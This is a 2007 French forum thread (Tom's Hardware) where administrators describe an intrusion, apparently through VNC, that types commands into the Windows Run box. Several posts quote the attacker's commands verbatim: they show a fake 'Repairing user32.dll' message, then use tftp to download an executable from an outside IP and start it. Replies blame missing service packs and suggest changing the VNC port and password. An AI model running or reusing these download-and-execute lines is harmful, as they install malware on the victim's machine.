FORUM Tom's Hardware » Le monde de Windows » Drivers & OS » [2k server] lancement bizarre
 

[2k server] lancement bizarre

Matériel : seb2giv, Bricolo Le Bistrot : Caabale, seb corgan, 2 utilisateurs anonymes et 340 utilisateurs inconnus
Ajouter une réponse



 Mot :   Pseudo :  
 
Bas de page
Auteur
 Sujet : [2k server] lancement bizarre
 
Membre-ane
Profil : comme son nom l'indique
Plus d'informations

salut
sur mon serveur de domaine 2k ya un truc bizarre qui se produit vers 15h et 3h.
2 recherche windows s'éxécute avec la recherche:

Citation :

r%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 70.54.0.16 GET vmmhyfd.exe & start vmmhyfd&


Citation :

r%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 70.54.0.16 GET bglz.exe & start bglz&


1 recheche vide
2 gestionnaire de tâches

J'ai pensé à un virus mais mon antivirus n'a rien trouvé (trend server)

une idée ?
(rien dans les tâches planifié - rien de bizarre dans les services)


Message édité par fourbe le 16-03-2007 à 10:33:24

---------------
[:sige]Sooz[:sige]
[:fourbe:3] Rofl, j'ai du taff au boulot maintenant [:fourbe:3]

Membre-ane
Profil : comme son nom l'indique
Plus d'informations

up!


---------------
[:sige]Sooz[:sige]
[:fourbe:3] Rofl, j'ai du taff au boulot maintenant [:fourbe:3]
Plus d'informations

Hello. I am sorry but my French is very bad. I am having the same exact computer problem that you are. This is the only reference to the problem that I found on the internet. I found your post by copy and pasting the IP address, which is the same one that comes up in my "run" dialog box in Windows. Unfortunately I do not know anything more than you do, but hopefully we can find the program on the computer that is causing this.

Membre-ane
Profil : comme son nom l'indique
Plus d'informations

hello !
thank you for your message.

If I find a solution, be sure I will share it with you ;)

sorry for my english, i'm just PPC_addict


---------------
[:sige]Sooz[:sige]
[:fourbe:3] Rofl, j'ai du taff au boulot maintenant [:fourbe:3]
Membre-ane
Profil : comme son nom l'indique
Plus d'informations

mode francais:
Alors ce message est enfait un message d'un pirate qui se rate.
Sauf qu'aujourdhui (enfin samedi) il ne s'est pas raté.
il effectue enfait une prise de controle à distance, essaye d'envoyer un "Windows+R" (éxécuter) pour lancer la commande.
Cela envoit 2 virus sur la machine:
msgscy.exe
mscgy.exe
ca prend 50% d'uc par user sur la machine.
Moi c'est arrivé sur mon serveur TSE, jvous laisse imaginer le resultat....


---------------
[:sige]Sooz[:sige]
[:fourbe:3] Rofl, j'ai du taff au boulot maintenant [:fourbe:3]
Plus d'informations

J'ai le meme probleme sous Vista.
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 67.71.3.90 GET qisnqk.exe & start qisnqk&
Voici ce qu'il me lance quelque fois dnas la journée, souvent vers 20h et la à la pause de midi.
D'apres ce que j'ai lu je ne retrouve plus le lien malheuresement ca viendrai d'une faille avec VNC.
Souci, j'ai ce probleme que depus que je suis sous vista poru ma part et avant sous xp sp2 j'avias le serveur vnc a longueur de journée et rien.

Membre-ane
Profil : comme son nom l'indique
Plus d'informations

normal
le xp xp2 intégre une maj qui empéche ce virus de s'éxécuter
pareil avec 2k sp4.
jte conseil de changer de port vnc et de mot de passe.


---------------
[:sige]Sooz[:sige]
[:fourbe:3] Rofl, j'ai du taff au boulot maintenant [:fourbe:3]

Aller à :
Ajouter une réponse
  FORUM Tom's Hardware » Le monde de Windows » Drivers & OS » [2k server] lancement bizarre
 

Annonces Google
Publicité